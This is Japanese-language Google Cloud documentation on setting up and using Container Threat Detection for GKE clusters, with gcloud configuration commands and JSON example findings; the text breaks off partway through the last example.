Container Threat Detection を使用する

このページでは、 Google Cloud コンソールで Container Threat Detection の検出結果を確認する方法について説明します。また、Container Threat Detection の検出結果の例についても説明します。

Container Threat Detection は、Security Command Center の プレミアム ティアと エンタープライズ ティアの組み込みサービスです。

Container Threat Detection の検出結果を表示するには、Security Command Center の [サービス] 設定でこのサービスを有効にする必要があります。

Container Threat Detection の検出結果の表示と管理の詳細については、このページの検出結果の確認をご覧ください。

Container Threat Detection やその他のプレミアム ティア検出機能をプロジェクト レベルで有効にするには、プロジェクトで Security Command Center を有効にするをご覧ください。エンタープライズ ティアでは、プロジェクト レベルの有効化はサポートされていません。

サポートされている GKE バージョンの使用

コンテナに対する潜在的な脅威を検出するには、サポートされているバージョンの Google Kubernetes Engine(GKE)にクラスタが配置されていることを確認してください。Container Threat Detection は、Stable、Regular、Rapid チャンネルの Container-Optimized OS ベースの x86 クラスタで、次の GKE バージョンをサポートしています。

  • GKE Standard 1.15.9-gke.12 以降
  • GKE Standard 1.16.5-gke.2 以降
  • GKE Standard 1.17 以降
  • GKE Standard 1.18.10-gke.1400 以降
  • GKE Standard 1.19.2-gke.2000 以降
  • GKE Standard 1.20 以降
  • GKE Standard 1.21 以降
  • GKE Autopilot 1.21.11-gke.900 以降
  • GKE Standard と Autopilot(1.22 以降)
  • GKE Standard と Autopilot(1.23 以降)

Container Threat Detection は、Stable、Regular、Rapid チャンネルの Ubuntu ベースの x86 クラスタで、次の GKE バージョンをサポートしています。

  • GKE Standard と Autopilot(1.28.15-gke.1480000 以降)
  • GKE Standard と Autopilot(1.29.12-gke.1120000 以降)
  • GKE Standard と Autopilot(1.30.8-gke.1128000 以降)
  • GKE Standard と Autopilot(1.31.4-gke.1177000 以降)
  • GKE Standard と Autopilot(1.32 以降)

Container Threat Detection は、Stable、Regular、Rapid チャンネルの Container-Optimized OS ベースの Arm クラスタで、次の GKE バージョンをサポートしています。

  • GKE Standard と Autopilot(1.28 以降)

Container Threat Detection のファイル モニタリング検出子(プレビュー)は、Container-Optimized OS ベースのノード(x86 と Arm の両方)で次の GKE バージョンでサポートされています。

  • GKE Standard と Autopilot(1.30 以降)

Container Threat Detection ファイル モニタリング検出器(プレビュー)は、Ubuntu ベースの x86 ノードの次の GKE バージョンでもサポートされています。

  • GKE Standard と Autopilot(1.32 以降)

Container Threat Detection の有効化

Security Command Center の プレミアム ティアまたは エンタープライズ ティアを有効にすると、有効化プロセス中に無効にしない限り、Container Threat Detection はデフォルトで有効になります。

組織またはプロジェクトで Container Threat Detection を有効または無効にする場合は、Security Command Center の [設定] ページで行うことができます。詳細については、組み込みサービスを有効または無効にするをご覧ください。

Container Threat Detection を有効にするには、Security Command Center 以降を有効にするか、次の操作を行います。

  1. サポートされているバージョンの GKE 以外のクラスタの場合は、クラスタのアップグレードのガイドの手順を完了してください。
  2. クラスタで Container Threat Detection DaemonSet を実行するのに十分なリソースがあることを確認します。
  3. Google Cloud コンソールで、Container Threat Detection サービスの有効化設定を確認し、クラスタで Container Threat Detection が有効になっていることを確認します。

必要な IAM 権限

Container Threat Detection には、自身を有効または無効にして GKE クラスタにある Container Threat Detection エージェントを管理する権限が必要です。

必要な権限を付与するには、IAM ロール Container Threat Detection サービス エージェントroles/containerthreatdetection.serviceAgent)を、サービス アカウントの一種である Container Threat Detection サービス エージェントに付与する必要があります。

このデフォルトのロールをサービス エージェントから削除すると、Container Threat Detection が正常に動作しなくなるおそれがあります。

Security Command Center の起動方法と有効にした時期によって、Container Threat Detection が使用するサービス エージェントの名前は異なります。

  • 2023 年 12 月 7 日より前に Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理のサービス エージェントを使用します。

    service-PROJECT_NUMBER@gcp-sa-ktd-control.iam.gserviceaccount.com

  • 2023 年 12 月 7 日以降に組織レベルで Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理の組織レベルのサービス エージェントを使用します。

    service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

  • 2023 年 12 月 7 日以降にプロジェクト レベルで Security Command Center が有効にされた場合、Container Threat Detection は、次のユーザー管理の組織レベルのサービス エージェントを使用します。

    service-project-PROJECT_NUMBER@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

サービス エージェントと IAM ロールの詳細については、以下をご覧ください。

カスタム GKE ノードのサービス アカウントに必要な権限

GKE ノードにカスタム サービス アカウントを使用する場合、新しいノードのサービス アカウントには、Container Threat Detection を操作するための権限が必要です。これらの権限をサービス アカウントに付与するには、サービス アカウント トークン作成者ロール(roles/iam.serviceAccountTokenCreator)を付与します。

  1. ノードのサービス アカウントにサービス アカウント トークン作成者のロールを付与します。

    gcloud iam service-accounts add-iam-policy-binding \
      SERVICE_ACCOUNT_NAME \
      --member=serviceAccount:service-PROJECT_NUMBER@compute-system.iam.gserviceaccount.com \
      --role=roles/iam.serviceAccountTokenCreator
    

    次の値を置き換えます。

    • SERVICE_ACCOUNT_NAME は、新しいノードのサービス アカウントのメールアドレスに置き換えます。
    • PROJECT_NUMBER は、コンテナ脅威検出がデプロイされているプロジェクト番号に置き換えます。サービス アカウントのプロジェクトと異なる場合は、これが重要になります。
  2. 新しいノードのサービス アカウントが作成されたプロジェクトと同じプロジェクトで Container Threat Detection API を有効にします。

    gcloud services enable containerthreatdetection.googleapis.com --project PROJECT_ID
    

    PROJECT_ID は、新しいノードのサービス アカウントが存在するプロジェクトの ID に置き換えます。

GKE クラスタ構成の確認

クラスタが Virtual Private Cloud(VPC)にある場合、Container Threat Detection を使用するには、そのクラスタが Google API と通信するためのルーティング、ファイアウォール、DNS の要件を満たしている必要があります。Google API にアクセスするには、次のガイドをご覧ください。

また、GKE クラスタ構成または組織のポリシーの制約によって、Container Threat Detection が機能するために必要なオブジェクトの作成や使用がブロックされないようにしてください。以降のセクションでは、Container Threat Detection によって作成される GKE オブジェクトのリストと、Container Threat Detection と連携する重要な GKE コンポーネントの構成方法について説明します。

Kubernetes オブジェクト

オンボーディング後、Container Threat Detection は有効なクラスタに複数の GKE オブジェクトを作成します。これらのオブジェクトは、コンテナ イメージのモニタリング、特権付きコンテナと Pod の管理、検出結果の状態の評価に使用されます。次の表に、オブジェクト、そのプロパティ、重要な機能を示します。

オブジェクト 名前1 プロパティ 関数
ClusterRole container-watcher-pod-reader Pod に getwatchlist の権限を付与します。
ClusterRole pod-reader Pod に getwatchlist の権限を付与します。
ClusterRoleBinding

container-watcher-pod-reader

gce:podsecuritypolicy:container-watcher

container-watcher-pod-readergce:podsecuritypolicy:privileged のロールを container-watcher-pod-reader ServiceAccount に付与します。
CustomResourceDefinition containerwatcherstatuses.containerthreatdetection.googleapis.com DaemonSet ステータス レポート
DaemonSet container-watcher2 特権付き eBPF ベースのカーネル モジュールとコンテナ エンジンとのインタラクション
/host/ を読み書きとしてマウントします。 eBPF ベースのカーネル モジュールとの通信
container-watcher-token にアクセスするために、読み取り専用として /etc/container-watcher/secrets をマウントします。 認証
hostNetwork を使用します 検出結果の生成
イメージ
gke.gcr.io/watcher-daemonset
有効化とアップグレード
バックエンド
containerthreatdetection-REGION.googleapis.com:443
検出結果の生成
役割 container-watcher-status-reporter containerwatcherstatuses.containerthreatdetection.googleapis.com CustomResourceDefinition 用の getlistwatchcreateupdatepatch の動詞を含むロール DaemonSet ステータス情報の更新を許可します。
RoleBinding gce:podsecuritypolicy:container-watcher container-watcher-pod-reader の ServiceAccount に gce:podsecuritypolicy:privileged ロールを付与します。 PodSecurityPolicy が有効な場合に機能を保持します。
container-watcher-status-reporter container-watcher-pod-reader の ServiceAccount に container-watcher-status-reporter ロールを付与します。
シークレット container-watcher-token 認証
ServiceAccount container-watcher-pod-reader 有効化、アップグレード、無効化

1 すべてのオブジェクトは kube-system Namespace にあります(container-watcher-pod-readergce:podsecuritypolicy:container-watcher を除く)。

2 Container Threat Detection のインストール、更新、または削除中に、Kubernetes オブジェクトやその他の依存関係が欠落や不完全であることを示すエラー メッセージが生成されることがあります。たとえば、container-watcher-pod-reader ロールがないインスタンスがある場合があり、その結果、Pod ウォッチャーがインストールできない可能性があります。また、serviceaccount "container-watcher-pod-reader" not found などのエラーログも生成されます。通常、これらのエラーは、Container Threat Detection がプロセスを完了すると自動的に解決されます。エラーが数分間続かなければ、このエラーは無視できます。

PodSecurityPolicy とアドミッション コントローラ

PodSecurityPolicy は、クラスタ上で Pod を作成および更新するリクエストを検証するために設定するアドミッション コントローラ リソースです。Container Threat Detection は、enable-pod-security-policy フラグを使用してクラスタを作成または更新する際に、自動的に適用される PodSecurityPolicy と互換性があります。具体的には、Container Threat Detection は PodSecurityPolicy が有効な場合に gce.privileged ポリシーを使用します。

カスタムの PodSecurityPolicy または他のアドミッション コントローラを使用する場合、Container Threat Detection の動作に必要なオブジェクトの作成または使用が妨げられないようにする必要があります。たとえば、特権のデプロイを拒否またはオーバーライドする Webhook ベースのアドミッション コントローラを使用すると、Container Threat Detection が正常に動作しなくなる可能性があります。

詳細については、PodSecurityPolicies の使用をご覧ください。

Container Threat Detection の検出結果からの環境変数の除外

デフォルトでは、Container Threat Detection は検出結果を生成するときに、その検出結果で参照されているすべてのプロセスの環境変数を報告します。攻撃を調査する際に環境変数の値が重要となる場合があります。ただし、一部のソフトウェア パッケージでは、シークレットやその他の機密情報が環境変数に格納されています。Container Threat Detection が Container Threat Detection の検出結果にプロセス環境変数を含めないようにするには、Google Cloud CLI または Security Command Center Management API の securityCenterServices.patch メソッドを使用して、組織、フォルダ、プロジェクト レベルで REPORT_ENVIRONMENT_VARIABLES モジュールを無効にします。

たとえば、プロジェクトで環境変数の報告を無効にするには、次の内容の module_config.yaml という名前のファイルを作成します。

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: DISABLED

その後、次のコマンドを実行します。

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

デフォルトの動作を復元するには、module_config.yaml を編集して次の内容を含め、コマンドを再度実行します。

REPORT_ENVIRONMENT_VARIABLES:
  intendedEnablementState: ENABLED

サービスの管理に使用する gcloud CLI コマンドをすべて表示するには、gcloud scc manage services をご覧ください。

Container Threat Detection の検出結果からの CLI 引数の除外

すべてのプロセスには 1 つ以上のコマンドライン(CLI)引数があります。デフォルトでは、Container Threat Detection は検出結果にプロセスの詳細を含めるときに、プロセスの CLI 引数を記録します。CLI の引数値は攻撃の調査で重要となる場合があります。ただし、CLI 引数によってシークレットなどの機密情報が漏洩する場合があります。Container Threat Detection が Container Threat Detection の検出結果に CLI 引数を含めないようにするには、Google Cloud CLI または Security Command Center Management API の securityCenterServices.patch メソッドを使用して、組織、フォルダ、プロジェクト レベルで REPORT_CLI_ARGUMENTS モジュールを無効にします。

たとえば、プロジェクトで CLI 引数の報告を無効にするには、次の内容の module_config.yaml という名前のファイルを作成します。

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: DISABLED

その後、次のコマンドを実行します。

gcloud scc manage services update container-threat-detection \
    --module-config-file=module_config.yaml \
    --project=PROJECT_ID

デフォルトの動作を復元するには、module_config.yaml を編集して次の内容を含め、コマンドを再度実行します。

REPORT_CLI_ARGUMENTS:
  intendedEnablementState: ENABLED

サービスの管理に使用する gcloud CLI コマンドをすべて表示するには、gcloud scc manage services をご覧ください。

リソースの使用量

Container Threat Detection は、クラスタに侵入しないように設計されており、クラスタ オペレーションのパフォーマンスにほとんど影響を与えないことが想定されています。

リソースの使用量はワークロードによって異なります。ただし、Container Threat Detection のコア コンポーネント(ユーザー空間 DaemonSet とその eBPF プログラム)のパフォーマンスについては、リソース使用量の制限に設定されたハードリミットに基づいて、最大 0.125 vCPU と 450 MB のメモリの影響が想定されています。Google はこれらの上限を定期的に再評価しており、特に大規模なノードの場合、パフォーマンスを最適化するために上限を変更する可能性があります。

BigQuery を使用している場合は、GKE 使用状況測定を有効にして、Container Threat Detection のユーザー空間 DaemonSet のリソース使用量をモニタリングできます。使用状況測定でユーザー空間 DaemonSet を表示するには、Namespace kube-system とラベル k8s-app=container-watcher を検索します。

GKE 使用状況測定で、eBPF ベースのカーネル モジュール専用のカーネル CPU の使用量を追跡することはできません。このデータは、全体的な CPU 使用率に含まれます。

Container Threat Detection API

Container Threat Detection は、オンボーディング時に自動的に containerthreatdetection API を有効にして、検出結果の生成を可能にします。この必須 API を直接操作しないでください。この API を無効にすると、Container Threat Detection が新しい検出結果を生成する機能が損なわれる恐れがあります。Container Threat Detection の検出結果の受信を停止するには、Security Command Center の [サービス] 設定で Container Threat Detection を無効にします。

検出結果の確認

Container Threat Detection によって生成された検出結果は、Security Command Center で表示できます。Cloud Logging へのログのエクスポートを構成した場合は、Cloud Logging で検出結果を表示することもできます。検出結果を生成して構成を検証するには、意図的に検出機能をトリガーし、Container Threat Detection をテストします。

Container Threat Detection では、次のレイテンシが発生します。

  • 新しくオンボーディングした組織またはプロジェクトの有効化によるレイテンシ(3.5 時間)。
  • 新しく作成したクラスタの有効化によるレイテンシ(数分)。
  • アクティブ化されたクラスタで脅威を検出するためのレイテンシ(数分)。

Google Cloud コンソールで検出結果を確認する

Security Command Center の IAM ロールは、組織レベル、フォルダレベル、またはプロジェクト レベルで付与できます。検出結果、アセット、セキュリティ ソースを表示、編集、作成、更新する権限は、アクセス権が付与されているレベルによって異なります。Security Command Center のロールの詳細については、アクセス制御をご覧ください。

Security Command Center で Container Threat Detection の検出結果を確認するには、次の手順を行います。

  1. Google Cloud コンソールで、Security Command Center の [検出結果] ページに移動します。

    [検出結果] に移動

  2. Google Cloud プロジェクトまたは組織を選択します。
  3. [クイック フィルタ] セクションの [ソースの表示名] サブセクションで、[Container Threat Detection] を選択します。検出結果クエリの結果は、このソースからの検出結果のみを表示するように更新されます。
  4. 特定の検出結果の詳細を表示するには、[カテゴリ] 列にある検出結果の名前をクリックします。検出結果の詳細パネルが開き、[概要] タブが表示されます。
  5. [概要] タブで、検出された内容、影響を受けるリソース、検出結果の修正手順(ある場合)など、検出結果の詳細を確認します。
  6. 省略可: 検出結果の完全な JSON 定義を表示するには、[JSON] タブをクリックします。

調査に役立つように、脅威の検出には、次の外部リソースへのリンクも含まれます。

  • MITRE ATT&CK フレームワークのエントリ。このフレームワークは、クラウド リソースに対する攻撃の手口を説明し、修復するためのガイダンスを提供します。
  • VirusTotal は、悪意のある可能性のあるファイル、スクリプト、URL、ドメインに関するコンテキストを提供する、Alphabet 社のサービスです。

Container Threat Detection の検出結果の一覧については、Container Threat Detection の検出機能をご覧ください。

Cloud Logging での検出結果の表示

Cloud Logging で Container Threat Detection の検出結果を表示するには、次の手順を行います。

  1. Google Cloud コンソールで [ログ エクスプローラ] に移動します。

    [ログ エクスプローラ] に移動

  2. Event Threat Detection ログを保存する Google Cloud プロジェクトまたはその他の Google Cloud リソースを選択します。

  3. [クエリ] ペインで、次のいずれかの方法でクエリを作成します。

    • [すべてのリソース] リストで、次の操作を行います。
      1. [Threat Detector] を選択して、すべての検出機能のリストを表示します。
      2. すべての検出機能の検出結果を表示するには、[all detector_name] を選択します。特定の検出機能の検出結果を表示するには、その名前を選択します。
      3. [適用] をクリックします。[クエリ結果] テーブルが選択したログで更新されます。
    • クエリエディタに次のクエリを入力し、[クエリを実行] をクリックします。

      resource.type="threat_detector"

      [クエリ結果] テーブルが選択したログで更新されます。

  4. ログを表示するには、テーブル行をクリックし、[ネストされたフィールドを開く] を選択します。

高度なログクエリを作成して、任意の数のログから一連のログエントリを指定できます。

検出フォーマットの例

このセクションでは、Container Threat Detection の検出結果の JSON 出力の例を示します。この出力は、Google Cloud コンソールを使用して検出結果をエクスポートするか、Security Command Center API または Google Cloud CLI を使用して検出結果を一覧表示するときに表示されます。

このページの例では、さまざまな種類の検出結果を示します。各例には、そのタイプの検出結果に最も関連性の高いフィールドのみが含まれます。検出結果で使用できるフィールドの一覧については、Finding リソースの Security Command Center API ドキュメントをご覧ください。

Kubernetes と containerd からの情報はベスト エフォートで提供されます。

追加されたバイナリの実行

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Binary Executed",
    "sourceProperties": {
      "VM_Instance_Name": "INSTANCE_ID",
      "Added_Binary_Kind": "Added",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Process_Arguments": ["BINARY_PATH"],
      "Pod_Name": "POD_NAME",
      "description": "A binary that was not part of the original container image
      was executed. If an added binary is executed by an attacker, this is a
      possible sign that an attacker has control of the workload and they are
      executing arbitrary commands.",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Added_Binary_Kind": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "LOW",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
    

追加されたライブラリの読み込み

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findingsFINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Added Library Loaded",
    "sourceProperties": {
      "Process_Arguments": ["BINARY_PATH", "ADDED_LIBRARY_NAME"],
      "Parent_Pid": 1.0,
      "Container_Name": "CONTAINER_NAME",
      "Added_Library_Fullpath": "ADDED_LIBRARY_PATH",
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Container_Creation_Timestamp": {
        "seconds": 1.618004144E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Pid": 7.0,
      "description": "A library that was not part of the original container
      image was loaded. If an added library is loaded, this is a possible sign
      that an attacker has control of the workload and they are executing
      arbitrary code.",
      "VM_Instance_Name": "INSTANCE_ID",
      "Pod_Namespace": "default",
      "Environment_Variables": ["KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT", "HOSTNAME\u003dsuspicious-
      library", "LD_LIBRARY_PATH\u003d/tmp", "PORT\u003d8080",
      "HOME\u003d/root", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp", "LANG\u003dC.UTF-8",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/home/vmagent/app"],
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Added_Library_Kind": "Added",
      "Container_Image_Uri": "CONTAINER_IMAGE_uri"
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T21:36:13.069Z",
    "createTime": "2021-04-09T21:36:13.267Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Fullpath": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Added_Library_Kind": {
        "primitiveDataType": "STRING"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "LOW",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}
  

コマンドと制御: Steganography ツールの検出(プレビュー

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Command and Control: Steganography Tool Detected",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "COMMAND_AND_CONTROL",
      "primaryTechniques": [
        "DATA_OBFUSCATION"
      ],
      "additionalTactics": [
        "DEFENSE_EVASION"
      ],
      "additionalTechniques": [
        "OBFUSCATED_FILES_OR_INFO"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-steganography-tool-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
